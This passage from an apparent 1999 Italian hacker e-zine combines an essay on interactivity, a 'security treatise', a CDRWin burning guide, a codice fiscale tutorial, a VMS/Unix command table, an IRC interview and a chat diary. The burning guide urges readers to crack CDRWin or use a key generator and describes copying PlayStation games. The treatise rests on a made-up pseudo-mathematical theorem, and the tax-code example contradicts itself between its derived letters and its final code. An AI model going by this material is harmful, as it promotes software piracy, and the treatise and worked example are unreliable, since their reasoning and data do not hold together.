impaginare come vogliamo, usare neretti e corsivi, inserire simboli e disegni. Insomma esprimerci in modo molto piu' personale.Con la comunicazione interattiva, la rivoluzione e' ancora piu' grande. Gli spazi di dialogo sono infiniti, ognuno di noi ne puo' creare a volonta'. C'e' una possibilita' tutta nuova di coltivare la diversita'. Anche l'industria sta imparando a essere piu' flessibile. Con le tecnologie di oggi diventa piu' facile fare prodotti "su misura" e anche offrire piu' spazio al "fai da te". Se per tagliare un tessuto si usa il laser invece di una sega, una fabbrica remota puo' farci un vestito non solo su misura, ma anche secondo il nostro disegno. Anche in tanti altri settori la tecnologia permette di personalizzare il prodotto. Cosi' puo' realizzarsi l'ipotesi di Alvin Toffler, la nascita del prosumer, che e' insieme consumatore e produttore. Come vedremo nel prossimo capitolo, l'economia globale di oggi e di domani crea sempre maggiori possibilita' per i piccoli operatori. Puo' rinascere e trovare nuovo vigore l'artigianato; moltiplicarsi la diversita' non solo nelle idee, ma anche negli oggetti.Molti pensano, credo con ragione, che la globalita' del molteplice porti non solo al rinascere di infinite tribu', ognuna con la sua cultura, ma ci aiuti anche a ritrovare il nostro antico istinto di nomadi. Non solo perche' possiamo vagare come ci piace nella rete, ma anche perche' possiamo spostarci fisicamente senza perdere contatto con i nostri amici e con il nostro lavoro. Forse e' un sogno; forse solo una minoranza piu' vivace e curiosa sapra' approfittare davvero di queste nuove possibilita'. Ma (almeno per me) e' affascinante pensare a un'umanita' meno stanziale, meno omogenea e piu' nomade; a spazi crescenti per la liberta' e la fantasia. Che cosa vuol dire, "interattivita'"?"Interattivita'"La sentiamo e la leggiamo usata in tanti modi diversi. Perdonatemi questa pignoleria "socratica", ma se non si stabilisce bene il senso delle parole si rischia di non capirsi; e su questo argomento la confusione abbonda. uno solo il significato di "interattivita'" nel mondo di cui parliamo qui, sulla "frontiera elettronica", sulla cresta della "quarta ondata".Sentiamo dire che un'interfaccia e' "interattiva" perche' se diamo un certo comando, o premiamo un certo pulsante, esegue un ordine; o perche' se scegliamo, una domanda, in una serie gia' predisposta, ci da' la risposta precostituita. E magari se sbagliamo, o diamo un comando non previsto, emette un segnale acustico e ci dice "No! questo non si puo' fare". Sarebbe come dire che e' "interattiva" una macchinetta per la distribuzione del caffe' che ci permette di sceglierlo dolce o amaro, con o senza latte;o la spia della pressione dell'olio sul cruscotto della nostra automobile. Sentiamo dire che un cd-rom e' "interattivo" perche' ci permette di scegliere che cosa vogliamo leggere o vedere, e in risposta a certi nostri comportamenti puo' emettere suoni o parole standardizzate. A questa stregua, e' interattivo anche un juke-box, o una bambola che dice "mamma" quando le schiacciamo il pancino.Posso ammettere che un'enciclopedia su cd-rom posa essere definita "ipertestuale": il neologismo e' un po' comico, ma almeno e' preciso. Non so che senso abbia definirla "interattiva". Sentiamo dire che un gioco e' "interattivo" perche' segue una sua logica precostituita e non ci fa "vincere" se non siamo abbastanza abili, veloci o ragionanti per capire dove sono le trappole o gli indovinelli; o perche' alle nostre "mosse" contrappone le sue risposte, secondo le regole stabilite da chi ha scritto il programma. Per quanto raffinato, complesso, ingegnoso e divertente possa essere il gioco, non e' piu' interattivo di un giocattolo elettrico che accende una lucina, o emette un suono di approvazione, quando il bambino sceglie la risposta giusta; e invece grugnisce se la risposta e' sbagliata. Di questo passo, si potrebbe definire "interattivo" un biglietto della lotteria "gratta e vinci".Cerchiamo di semplificare: se cio' con cui "interagiamo" e' una macchina, o un programma automatico, e non una persona, non si tratta di "interattivita'" nel senso di cui parliamo in questo contesto. Ci sono anche situazioni umane, per esempio trasmissioni televisive, che si definiscono "interattive", perche' il pubblico puo' rispondere facendo un certo numero di telefono, e "votare"; o perche' arrivano direttamente al conduttore, in diretta, le telefonate dei telespettatori. Come ho gia' detto, questa e' interattivita' "finta". Perche' qualcuno, unilateralmente, stabilisce le regole, definisce i criteri, governa il dialogo come vuole; e tutti gli altri non possono far altro che muoversi all'interno di piccoli spazi ben definiti, usare una "ribalta", per dirla con Goffman. E non cambiera' affatto la situazione se un giorno, invece di usare il telefono, lo spettatore potra' premere un pulsante.Se e quando ci saranno 500 canali, video on demand, collegamenti con giornali, riviste, biblioteche, cineteche e gallerie di negozi online attraverso un televisore digitale, eccetera... lo spettatore (se lo vorra') avra' piu' potere, perche' avra' piu' liberta' di scelta. Ma non ci raccontino favole: non sara' una situazione "interattiva". Se noi dovremmo chiamare "interattivo" il telecomando, o il dito che volta la pagina di un giornale, o la mano che sceglie negli scaffali di una libreria o di un supermercato."Interattivita'", almeno in queste pagine, significa una cosa completamente diversa. Un dialogo ad armi pari, in cui nessuno ha privilegi, in cui tutti hanno il medesimo status di opinione e lo stesso diritto di parola. Questo e' il terreno su cui deve imparare a muoversi chi vuol fare comunicazione nella rete, che non sia solo una "brutta copia" di metodi e' meglio riservare a quei mezzi per cui sono nati. Questa e' la possibilita' che si offre a ognuno di noi - se abbiamo la voglia, la pazienza e la curiosita' di esplorare nuovi orizzonti, cercare nuovi stimoli, scambiare idee e opinioni con tante persone che in nessun altro modo avremmo l'occasione di conoscere. Anonimo ------------------------------------------------------------------------------ --------------------TRATTATO SULLA SICUREZZA INFORMATICA---------------------- ------------------------------------------------------------------------------ di: ZeroCool Definire un sistema sicuro e pura eresia . Abbiamo diversi tipi di sistema operativi che vengono definiti tali da certificazioni governative come ad esempio Nt o Unix . Un sistema in se stesso per essere sicuro dovrebbe resistere ad ogni tipo di attacco interno od esterno ad esso senza doverne subire mutamenti nel tempo . Possiamo quindi dire che NT o Unix sistemi in continuo mutamento definito upgrade non risultano sicuri per date e tempo. Dal trattato di Murpd possiamo dire che un sistema puo essere definito sicuro se anche subendo dei cambiamenti nel tempo risulta efficace nella sua coattivita . Cio non risulta possibile visto che un sistema quando installato quindi in tempo 0 risulta insicuro visto che vanno definite delle sue variabili fondamentali. Possiamo quindi dire che in tempo 1 basandoci appunto sul primo dato 0 il teorema stesso risulta superato . Definiamo quindi la sicurezza di un sistema una possibilita remota che si manifesta solo in tempo 1 nell arco che intercorre [ 0 / 1 ] possiamo trovare vari avvenimenti interni o esterni al sistema che possono rendere la sicurezza del sistema stesso uguale a 0 [ su una scala da 1 a 10 ] . Troppe quindi sono le variabili da prendere in considerazioni per certificare la sicurezza di un sistema stesso . Il tutto puo essere riassunto da un teorema: 0 1 """"""""""""""""""""""""""""""""""""""""""""" n n OS + v < S < OS +v+-[1] OS= operative system n= casualita v= elementi inerni o esterni s= sicurezza Possiamo dire quindi per certo che un sistema non puo essere sicuro in qualsiasi caso. Certo e che la specializzazione del sistema in un settore ne causa la morte negli altri . Quindi un sistema non puo essere sicuro e la specializzazione dello stesso ne causa la cessazione. Abbiamo quindi un schema gerarchico dal quale possiamo subito trarre delle conclusioni . Un sistema in tempo 0 e se collegato alla rete interna o esterna risulta vulnerabile . Un piccolo appunto una intrusione informatica non deve per forza essere fatta da altri sistemi che si connettono attraverso nodi remoti or similar . Una intrusione puo anche essere fatta da una persona fisica che si collega con i proprio mezzi alla macchina vulnerabile . Visto che per definizione una intrusione e fatta da sistemi operativi verso altri sistemi operativi possiamo considerare l essere umano stesso un sistema operativo [ quindi anche esso vulnerabile ] pur avendo l elemento coscienza che lo differenzia dagli altri sistemi e lo differenzia. SICUREZZA E LEGISLAZIONE INFORMATICA Questa parte del trattato e rivolta agli utenti della cosi definita Grande Rete o meglio Internet in tutte le sue forme Internet e internet 2 . La rete in se stessa nata per trasferire informazioni tra centri di calcolo governativi e poi definita pubblica per la sua notevole importanza. In questo momento la legislazione informatica risulta insicura e incerta in molti suoi aspetti . Come ben sappiamo internet e definita rete globale e quindi per quanto rete di diverse nazioni o meglio stati . Ogni stato ha una sua precisa legislazione e quindi leggi che ne definiscono l andamento e i problemi di sicurezza . Molto spesso pero queste leggi risultano incerte quando come spesso succede un cosi definito hack avviene da uno stato all altro con diverse legislazioni . Semplicemente un semplicemente un esempio poterebbe essere un hack il cui attaco parte dalla germania verso un sistema remoto negli Stati Uniti . Quale delle due legislazioni attuare ? . Ogni stato in quanto tale risulata entita forte e dominante connesso attraverso una rete di trattati agli altri stati che accettano e riconoscono la sua entita. In questo caso pero abbiamo due diverse legislazioni che si riconosco a vicenda. Quale delle due verra applicata . Certamente l hacker essendo della germania verra processato attraverso la legislazione germanica e quindi europea ma l hack e avvenuto negli Stati Uniti quindi il danno economico che provabilmente si e creato riguarda non la germania ma gli Stati Uniti stessi. Non facile definire come queste situazioni possano essere risolte . Quindi risulta molto piu facile per un hacker scappare o essere facilitato dalla lentezza burocratica che si crea . Ovviamente questo non puo avvenire se l hack e il sistema remoto hacked sono nello stesso stato. Si puo quindi definire una legislazione che garantisca un giusto e onesto processo insufficente quando avviene tra stato e stato [ ma a volte anche nello stato stesso ] possiamo quindi ricondurre quindi al trattato dellla sicurezza questa parte : Rete Collegata a Internet 0 1 """"""""""""""""""""""""""""""""""""""""""""" ------------------------------ n n OS + v < S < OS +v+-[1] S -n OS= operative system n= casualita v= elementi inerni o esterni s= sicurezza In n possiamo includere la lentezza burocratica che facilita l hack di un sistema che gia in stato o 0 o 1 e latente di sicurezza tutto cio. ZeroCool __ ___ _ _______ ____ ____ / |\/ /| |_ ___| __ \ / _ |\ -------------/ |/ / | |_\ \__| _/\/ /\/ / |-------------- --------------/ /| / /| | \ \ | | \\/ /_/ / /------------- /__/ |__/ / |_| \__\|_|\_\|___ / / \__\/\__\/ \_\ \__\__\\_\____\/ THe DeMoN (c) CoMPuTeR'S HeaVen SoCiEtY ***************************************************************************** **************************** SoFTWaRe CoLLeCTioN *************************** ***************************************************************************** Presenta La MaXi GuiDa Su CoMe Farsi.... uNa FiG... (Cazzo questa non una sex_guide ho toppato) uN CD-RoM CoN CDRWin 3.7C Occorrente: 500.000 circa per comperarsi un fottuto masterizzatore IDE 3000 circa per un CD vuoto 1,5 l di Coca ( - Cola, ovvio ) dai 40 ai 80 min. della tua vita .... Un BEL pacchetto di MARLBORO LIGHT .... uno ?! Bene, cominciamo... Innazitutto procuratevi CDRWin all'indirizzo http://www.goldenhawk.com e poi se avete cazzi anche il key generator per registrarlo o comperatevelo o crackatevelo o fateci quel cazzo che volete basta che poi funzioni. Ora lanciatelo, altrimenti nei cd vergini vi ci potete solo specchiare... Adesso si parte seriamente: Dipende tutto da che cosa volete fare con il programma... 1 Nozioni base sulla masterizzione 2 Creare e registrare un Iso 9660 3 Copiare un fottutissimo vieogioco della Play ( o qualsiasi altro CD-ROM ) 4 Copiare un cd audio 5 Creare un cd audio 6 Aggiungere una sessione ad un CD (1) NOZIONI BASE SULLA MASTERIZZAZIONE Innazitutto deovete sapere come settare al meglio il vostro masterizzatore: -Impostare il masteriz come slave e il vostro cd-rom come master (questo non vale per i masteriz SCSI che vengono messi in catena con ID da 1 a 7 ). -Disabilitare l'opzione DMA sia del masteriz che del CD-ROM (NB. per i DVD invece bene che questa sia abilitata). -Masterizzare preferibilmente a 2X con quelli IDE sia perch il risultato del vostro tempo perso pu non essere letto da tutti i CD-ROM, in particolar modo su quelli pi vecchi, sia perch con questa archittetura pi aumentate la velocit pi aumentate il rischio di fottervi un CD. Ovviamente questo non vale per i masteriz SCSI che utilizzano tutta un' altra archittettura di trasferimento dati... -Un' altra opzione dei programmi di masterizzazione che ritengo importante, sia che si possieda uno masteriz SCSI che IDE, il fatto di poter creare un' immagine su HD dei CD da copiare.... pi sicuro farlo sepmre anche se perderete sicuramente 10 ~ 20 min. del vostro tempo perso davati alla TV :-) proterete cos verificare la lettura eseguita prima di scrivere .... -Disabilitate lo screensaver e tutti gli alti programmi residenti come gli antivirus e non usate nulla mentre il masteriz st scrivendo potrebbe andare a fanculo il vostro costosissimo CD ( 3000 ) :-) -<=************=>- VEDIAMO ORA COME FUNZIONA STO BASTARDO DI CDRWin .... -<=************=>- (2) CREARE E RGISTRARE UN ISO 9660 Innazitutto bisoga dire che l' ISO9660 un particolare CD in formato standard ossia ha una FAT riconoscita dalla pressoch totatlit dei CD-ROM. Diciamo che con questo formato si possono aggiungere pezzi al CD successivamente alla prima scrittura sempre che non si sia chiuso il CD: questa tecnica detta multissessione... OK lo so che questo un tutorial per nofiti ma, cazzo, un po' di teoria non gli f sicuramente male poi non ho dato neanche una definizione in modo serio.... Ho bisogno di una sigaretta... Ho finalmente posso riprendere seriamente... SCUSATE PICCOLO SFOGO .... Per creare un CD in formato ISO dovete cliccare sul IV pulsante in alto " File Backup and Tools "e dovrebbe aprisi una schermata dove nel primo campo vi appare una combobox nella quale potete selezionare pi opzioni: sciegliete " Build and Record an ISO9660 Image File ". Nella parte pi in basso affianco ai pulsanti ADD DELETE CLEAR potete inserire i file o le cartelle che volete registrare con un semplice DragAndDrop oppure cliccare sul pulsante ADD e selezionare quelle cazzateche volete registrare. Nel campo sottostante inserite il nome e la locazione del file ISO da creare su disco prima della scrittura ( ricordatevi di cancellarlo una volta testato il risultato del vostro duro lavoro, perch questo un' immagine del CD e quindi ha le sue stesse dimensioni ) Qeste devono apparire nel campo l a fianco. Teoricamente ora potete gia scrivere il vostro CD ma vediamo che parametri settare... Controllate che le check " Include Hidden Files ", " Recurse Subdirectories " e " Include System Files " siano sputatealtrimenti i file nascosti non verrano scritti,le sottocartelle neppure, e neanche i file di sistema ivi contenuti. Interessante la funzione del check " Preserve Full Pathnames ": se spuntato il programma registrer anche la struttura delle directory precedente al livello che avete inserito nel campo sopra partendo dalla Rootdirectory altrimenti scriver tutto partendo solo dal livello da voi imposto. Sotto troverete altri check, quelli che useremo sono: " Long Filenames (Joliet) ", " Finalize Session ", " Verify Recorded Image ", tutte le altre lasciatele stare di default. La check long file abilita il supprto per i nomi lunghi anche sul vostro bel CD, cosa vivamente consigliata se lavorate in ambiente Windows95 / 98; la check finalize session chiude la sessione che avete aperto per il vostro lavoro in modo tale che il CD che avete realizzato sia leggibile su tutti gli altri CD-ROM; l'ultima check in esame in questa form, verify recorded.. ,serve per analizzare il risultato confronatadolo con l' ISO di origine. ANFF ANFF !!! Abbiamo quasi finito ci manca ancora poco... Nella label ISO9660 Options c' un pulsante dal nome " Advanced Options ", clickateci sopra e vi si aprira un' altra form, l' ultima prima di premere il mitico pulsante " START ", ve lo prometto... Nella prima cartella " Volume Descriptor " potete settare tutte le opzioni dell' etichetta di volume: quella che ci interessa solo la prima, ossia " Volume Label ". In questo campo inserite il nome che volete dare al vostro CD. VIAAAAAAAA !!!!!! ora confermate l' opzione settata in questa form e poi premete il fottuto pulsante: quindi tanti auguri che tutto vada bene, e toccatevi non si sa mai, i CD a volte si fottono, anche per altri motivi, da soli.... -<=************=>- (3) COPIARE UN CD DELLA PLAY ( vale anche per tutti gli altri ) La procedura qu di seguito spiegata parte dal presupposto che sul vostro HD ci sia posto sufficiente per l' immagine del CD che state copiando ( fanculo alla Sony se un videogioco della Play ) Ps: perch funzionino questi CD-ROM dovete avere la modifica nella Play Lo Sapete VERO ?? ... ---------------------------- FINE PRIMA PARTE -------------------------------- Nitro The Demon CoMPuTeR'S HeaVen SoCiEtY Ciao a tutti. qui da nowhere c'e' il vej99 che oggi parlera' di.... [[[[[[[[[[[[ COME CALCOLARE IL CODICE FISCALE!!! ]]]]]]]]]]]]]]] solite caxxate iniziali... th1s is ded 2: my girl flex the FG crostino kru FMC \/ miki vazim and all the coolz out there .-++-. music h3ard : undeclinable ambuscade & ten foot pole / / \ \ consumed : i mustacciuoli di nonna lisetta |/----\| used : gvim on debian2.1 con la sintassi tcl/tk ;) X X a b1g FUCK 2 : tutti i rompic0gli0ni su questa terra =( / ---- \ bien bien.. si parte! allor.. avete presente quei simpatici abbonamenti telecum, oppure tutti quei simpatici form sul web che non vi fanno andare avanti nelle vostre grandi imprese hackz:) a meno che non mettiate quella simpatica stringa di 16 lettere e numeri??? bene... oggi impareremo a calcolarlo! ps.. tutte le info le ho trovate con dejanews e su it.comp.lang.vb (sul sito del ministero NS non ci voleva andare ;))) quindi denghiu 2 U all facciamo finta di voler calcolare il codice fiscale del signor Crostoni Massimiliano, residente in Troia(FG), nato l'11/11/1911 di sex feMMina hihihi il codice e' cosi' composto: CRS MSM 11M11 L447 piu' l'ultimo char che calcoleremo dopo.. -= CRS =- le prime 3 lettere sono le prime 3 consonanti del cognome (1a 2a e 3a) se x caso le consonanti sono - di 3, si aggiungono le vocali in ordine se il cognome e' + corto di 3 caratteri, si aggiunge una X x ogni char mancante x le donne sposate il cognome e' il loro da nubbili, mentre i cognomi composti si considerano tutt'1 -= MSM =- queste sono la prima, seconda e quarta consonante del nome... se il nome e' + corto di tre caratteri, si mette una X per ogni car. mancante, se invece le consonanti non bastano si mettono le vocali in ordine x le donne,, hem e' lo stesso :) i nomi tipo "libero marcello" sono tutt'uno (liberomarcello) -= 11M11 =- questa e' la data di nascita... le prime 2 cifre sono le ultime due dell' anno di nascita (1969 = 69), M e' il mese di nascita, secondo questa sem- blice tabellina: +-----------------+------------------+-----------------+---------------+ | A= Gennaio | B= Febbraio; | C= Marzo; | D= Aprile; | | E= Maggio | H= Giugno | L= Luglio; | M= Agosto; | | P= Settembre; | R= Ottobre; | S= Novembre; | T= Dicembre | +-----------------+------------------+-----------------+---------------+ tab 1 mentre le ultime due cifre sono il giorno di nascita.. da 01 a 28 - 31 nel caso dei boyz, mentre e' il giorno di nascita + 40 nel caso delle girlz -= L447 =- e' la parte + semplice del codice.. cioe' un particaolare codice :) asse- gnato dal mini$tero di qualcuno, cioe' dalla "Direzione generale del Cata$to" a ogni comune italiano. il database contenente le corrispondenze comune-codice lo trovate.... in allegato (forse ;). Se invece il nostro amico massimiliano fosse residente in uno stato estero... avrebbe un co- dice corrispondente allo stato in cui e' residente.. ed il DB (forse) lo trovate in allegato.. non dipende dal vej :) l'unico carattere x cui e' conveniente avvalersi (uao!) di un prog che calcoli x noi il nostro codice... possibilmente facendolo da noi (che e' meglio come dice quattrocchi) e' l'ultimo.. il cosiddetto carattere di controllo. questo char si ottiene convertendo i caratteri che nel codice sono in posizione dispari secondo la tab 2: +------+------+------+------+------+------+------+------+------+------+ | 0=0 | 1=1 | 2=2 | 3=3 | 4=4 | 5=5 | 6=6 | 7=7 | 8=8 | 9=9 | | A=0 | B=1 | C=2 | D=3 | E=4 | F=5 | G=6 | H=7 | I=8 | J=9 | | K=10 | L=11 | M=12 | N=13 | O=14 | P=15 | Q=16 | R=17 | S=18 | T=19 | | U=20 | V=21 | W=22 | X=23 | Y=24 | Z=25 | | | | | +------+------+------+------+------+------+------+------+------+------+ tab 2 nel caso del nostro massimiliano i char in posizione dispari sono: C=2 (S=18)x2 1 M=12 1 4 7, che danno come somma 63 (metti da parte:) i caratteri in posizione pari si convertono secondo tab 3: +------+------+------+------+------+------+------+------+------+------+ 0=1 1=0 2=5 3=7 4=9 5=13 | 6=15 | 7=17 | 8=19 | 9=21 | A=1 B=0 C=5 D=7 E=9 F=13 G=15 H=17 I=19 J=21 | K=2 L=4 M=18 N=20 | O=11 | P=3 Q=6 R=8 S=12 T=14 | U=16 | V=10 | W=22 | X=25 | Y=24 | Z=23 | | | | | +------+------+------+------+------+------+------+------+------+------+ tab 3 la somma dei caratteri pari (R=8 (M=18)x2 1=0 1=0 L=4 4=9) invece e' 57 ora si somma 63 a 57 (120) e si divide tutto x 26 = 4. il resto della divisione va ora convertito secondo tab 4... in questo caso il resto e' 120 - 26 x 4 = 18, quindi il carattere di controllo e' Q +------+------+------+------+------+------+------+------+------+------+ 0=A 1=B 2=C 3=D 4=E 5=F | 6=G | 7=H | 8=I | 9=J | 10=K 11=L 12=M 13=N 14=O 15=P 16=Q 17=R 18=S 19=T | 20=U 21=V 22=W 23=X | 24=Y | 25=Z | | +------+------+------+------+------+------+------+------+------+------+ tab 4 il codice fiscale completo del nostro amico massimiliano e' quindi -= CSS MSM 11M11 L447Q =- fiuu ce lho fatta..! :) piccola nota: c'ho messo 3 giorni a capire che il resto di una divisione non sono i numeri dopo la virgola del quoziente =)) beh siamo proprio alla fine vostro 0xF3A0ED00 vejeta flames > /dev/null (x chi non avesse capito.. capite :) CIAOZ ۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰ Ciao a tutti sono IronMan. Anche io, come tutti i collaboratori di questa rivista (penso), sono un newbie. Il mio piu' grande desiderio e' diventare un hacker pero' ... ne ho di strada da fare (pure parecchia! =). Se volete chiedermi qualcosa o volete fare dei commenti o volete darmi dei suggerimenti o volete dirmi che siete miei ammiratori (^_^) mandatemi un'email a kewl@operamail.com. Ciao a tutti e a presto con il secondo pezzo dell'RFC =). ͻ Ŀ BREVE CONFRONTO COMANDI TRA VMS E UNIX ٺ ͼ FUNZIONE COMANDI VMS UNIX -------------------------------------------------------------------------------- mostra la lista dei file DIRECTORY ls DIRECTORY/FULL ls -l mostra il contenuto dei file TYPE cat display file with pauses TYPE/PAGE more, less mostra le prime righe di un file (5 di default) head mostra le ultime righe di un file (5 di default) tail copia un file COPY cp cerca una stringa in un file SEARCH grep fgrep confronta dei file DIFF diff cmp rinomina file RENAME mv cancella file o directory DELETE rm rmdir cambia la protez. dei file SET FILE/PROT chmod cambia possessore dei file SET FILE/OWNER chown chgrp crea una directory CREATE/DIR mkdir cambia la dir corrente SET DEFAULT cd mostra la dir corrente SHOW DEFAULT pwd richiama l'help in linea HELP man apropos mostar data e ora SHOW TIME date mostra spazio libero su disco SHOW DEV df ferma i processi STOP kill collega i moduli LINK ld stampa file PRINT lpr mostra le stampe in coda SHOW QUEUE lpq mostra le stampe in entrata SHOW ENTRY lpq cambia la password SET PASSWORD passwd mostra gli utenti collegai SHOW USERS who finger w mostra i processi SHOW PROCESS ps cambia le imp. dei terminali SET TERMINAL stty parla a un altro utente PHONE talk disabilita messaggi SET NOBROADCAST mesg n Questo testo e' di Dave Atkin della University of York e la traduzione e' stata fatta da N0bodY88 che almeno cerca di essere utile traducendo ;) Byez N0bodY88 "Il dolore ancora una volta non mi uccide, il dolore ancora una volta mi rende + forte, ma stanotte di questa forza non so che farmene. Davvero." "Overminder - Il Sognatore" di Akira Mishima ۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۲۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰ ͻ Ŀ INTERVISTA ALLO SMILZO ٺ ͼ Session Start: Mon Oct 18 22:44:12 1999 Session Ident: Smilzo (LustMaster@illo.ip.dello.smilzo) salve ciaoooooo x l'intervista... va bene adesso? a me va bene adesso :) okki allora prima di tutto grazie x concederci sta intervista :) e poi "presentati a quei pochi morti di fame che sono appena tornati da marte in treno e che non ti conoscono, chi sei che fai e che fai de male x esse ricercato in 34 regioni italiane (ma ce en so cosi' tante??? hihihi) Allora, sono Lo Smilzo, ho avuto la sfortuna di essere in un libro (spaghettihacker), sono una smanettone (casa mia sembra "One time TV" di max headroom), faccio l'amministratore di sistema, ed ESISTOOOOOOO!! :) da quanto e' che sei nella scena o cmq giri in rete? giro in rete da novembre 93 ma prima andavo in giro su fidonet come ti definiresti tu? hacker cracker sysadmin o cosa? Sysadm fallito ;) heheh scherzo mi ritengo un smanettone.. cosa ti affascina di+ di tutto questo mondo? [MODE Messaggio promozione ON] Come dice il libro Spaghetti Hacker di Chiccarelli e Monti :) [MODE Messaggio promozione OFF] tante cose... che si possono imparare tante cose.. e l'aspetto sociale.. nel senso che c'e' l'aria della "famiglia" okki :) tu sei stato in qualke modo coinvolto nel crackdown o meglio giro di vite del 94 in italia? assulutamente no.. :)) signor maresciallo.. non so' neache cosa e' un compiuter :) hehehe hihihi cosa ne pensi sinceramente di questo boom di linux-maniaci... cioe' pensi che la maggior parte sia x moda o xche' veramente hanno capito la mentalita' che sta alla base del free software? chiedo a te anke se non centra sapendo che ne hai viste tante ;) sencondo me.. una parte e' per la moda, perche', "'ngulo linux, lo usano gli hacker" altri.. lo fammi per essere contro, come votare la lega pero' la percentuale di persone che vogliono aderire alla filosofia del freesoftware sta' crescendo k beh e non lo dico solo io ma anche grandi case software stanno sviluppando per linux, come ad esempio la corel :) tu come vedi adesso tutto questo proliferare di santoni/guru hacker e di e-zine +o- utili e +o- fatte bene/male? dici che e' un bene rispetto al passto dove giravano poche info? beh.. se vedi la scena come una piramida rovesciata.. si stanno allargando le basi :) eheheh bella risposta :) cosa diresti se domani venisse qualcuno e ti chiedesse "insegnami tutto"? risposta zen :) gli direi "sentimi... ma alla tua eta', non hai qualcosa di meglio da fare? :) =) hihihi posso farti na domanda del tipo che ne pensi della sicurezza sulla rete esiste veramente? io occupandomi di sicurezza ti dico subito domandami tutto... tranne la matematica :) il problema che la maggior parte delle ditte non assume persone qualificate a fare i sistemisti.. che normalmente una volta installato e (spesso mal) consigurato le macchine non le toccano piu' convinti che le patch non servano.. come dove sto' lavorando adesso ho dovuto mettere a posto un intero provider da capo a piedi perche' l'ex-sistemista era un vero e prorpio imbecille.. cax! ma tu fai lavori inerenti al campo dell'hacking...ma cosa fai durante lavoro ? ;) detto brutalmente lo so... beh... ti dico subito, quando lavoro, cado in trance davanti al server, diventando una mio altro arto :) beh.. quando lavoro.. lavoro e basta.. quando sto' a casa.. lavoro... e forse faccio qualcosa.. :) heheh miticuzzzz allora quale e' stata la cosa + bella che ti sia mai successa? e quale e' stata la piu' brutta? riguardo pc - amici bustati - blitz - hacking - pula vedi tu ;) se ti va di dirle ovviamente la piu' brutta uno scherzo organizzatomi da Andrea Monti e Stefano Chiccarelli un falso busting li avrei uccisi.. la piu' bella mhh beh se mi fossi innamorato di una ragazza sulla rete... .. direi lei.. pero' non e' cosi' :) eheheh la cosa piu' bella.. LA RETE!!! cmq.. la cosa piu' bella e' stata quando io e merc ognuna da casa propria lui si e' connesso in ftp su di me.. nel 93 ai tempi delle prima connessioni slip e abbiano capito, cosa vuol dire avere un ip :) eheheh che bello aver vissuto i primi tempi!!! ci puoi raccontare come e' nata l'olografix e il ruolo di stefano e andrea monti nelle vicende e nella manifestazioni hack degli ultimi anni e di come sono riusciti a pubblicare quel mito di libro? qua' va fatto un discorso parti pure :) la metro olografix e l'hacking sono due cose diverse e parla dei centri degli hack lab dell'hack it quello che vuoi sisisisi lo so ma se ti va parla di entrambi ok vado :) la metro e' un'associazione che e' nata perche' ci trovavamo a pescara con un modem, alcuno erano sysop... altri erano utenti di bbs e abbiamo deciso di metterci insieme.... beh per quanto riguargarda stefano e andrea, potresti questa domanda direttamente a loro :) ...se li sentissi =) ultima domanda e via ;) ok :) spara Com'e' stato x te l'hack-it? l'hackit e' stato per me una manifestazione folkloristica carina.. anche sono contrario allo svoglimentro dentro i centro sociali specialmente il 2000 a roma.. miii! immagino il caos (e la marea di pulotti in borghese)!!! non e' tanto quello il problema.. e' che ti immagini se devi uscire dall'hackit.. e andare a farti un giro ? non puoi.. facciamo i segregati.. tnx 1000 x averci rilasciato questa intervista dedicandoci il tuo tempo anke se una bella esclusiva tinta di rosso su come e' stato dormi' con spirit e berry ce l'avresti potuta dare almeno...hihihi un'esperienza che mi ha soddisfatto e riempito molto eheh okki tnx di tutto adesso devo scappa :) ci si bekka okki? ciauz byez Session Close: Mon Oct 88 88:88:88 1988 ͻ Ŀ ARTICOLOZZO BY HARLOK - BLINKING - N0BODY88 ٺ ͼ DATA: 29/8/99 ORA: 1:44 e non di pomeriggio ;) ORA INIZIO BALDORIE: abbiamo bevuto troppo per ricodarcelo... KANNE FUMATE: tutte da Harlok =) (modestamente ^_^ e dopo fumo ancora) SENSAZIONI PROVATE DA BLINKING BEVENDO LA RED BULL: Allora comincio col dire che non so perche' sono qui col portatile a scrivere dato che non so cosa scrivere ma vediamo un po' di riordinare le idee... allora...harlok e' qui accanto a me che maledice la sua shell di linux sul pc di blinking mentre l'appena citato blinking e' alla ricerca del santo wingate e il ns nobo...ovviamente e' qua che ve lo segnala :)))) Adesso prendo le redini io (HarLoK o se mi preferite piu' cattivo H4rL0K :)) perche' Nobody88 e' su irc! Per farvi capire quello che sta succedendo in questo momento, siamo in camera di Blinking con tre pc collegati in rete (uno sta girando col DOS, uno con Linux, l'altro con Windows :)) e ognuno si fa i c4xx1 suoi su internet (almeno per il momento). !!!SOSPENDIAMO MOMENTANEAMENTE LA TRASMISSIONE PER UN COMUNICATO URGENTE!!! ZeroCool, dove eri oggi a MI, dato che io e Nobo abbiamo aspettato invano una tua telefonata? Questa ce la paghi, perche' hai preferito il distretto militare a noi!!!!! VoI dANtUz e deViLNeT DOvE ErAVAte? !! FINE COMUNICATO !! Mentre continuo a scrivere, stanno telnettando Blinking.... secondo me e' una donna che ci vuole provare cercando ogni tipo e strategia e di approccio. In poche parole, stanotte vogliamo fare tremare quello che c'e' al di la' della presa telefonica di camera Blinking :-D (i vari tubi dell'acqua e del riscaldamento gestiti rigorosamente ed orgogliosamente con un server(ino) che gira con Linux MarioBross 4.2). Abbiamo deciso di mandare in tilt e i nostri tre bei cervellini ... EUAAAAAALLLLLAAAAAA sono sempre io il vs nobo e adesso mentre blinking prova l'hijacking nello stesso segmento di rete [by harlok: bastardo!!!!!!!!!!!!! io ti stavo infamando e tu leggevi quello che scrivevo!!!!!!!!!!!!!!!!!!!!!] ...questo e' hacking raga... E ora la parola al pluripremiato strafamoso e mega impegnato con la sua consolle (alla consoll mimmo e...) Blinking e che lo spirito di BFI sia con noi... premesso che non sono famoso,non sono impegnato (anzi,cerco la tipa) la notte si prospetta interessante sotto tutti i punti di vista...anche se harlock e' sicuramente piu' disinvolto di me: un tipo di nome ViRuS ci sta provando... HarLoK: non mi piace proprio avere incontri ravvicinati di questo tipo con un Virus :) cd/temp tab 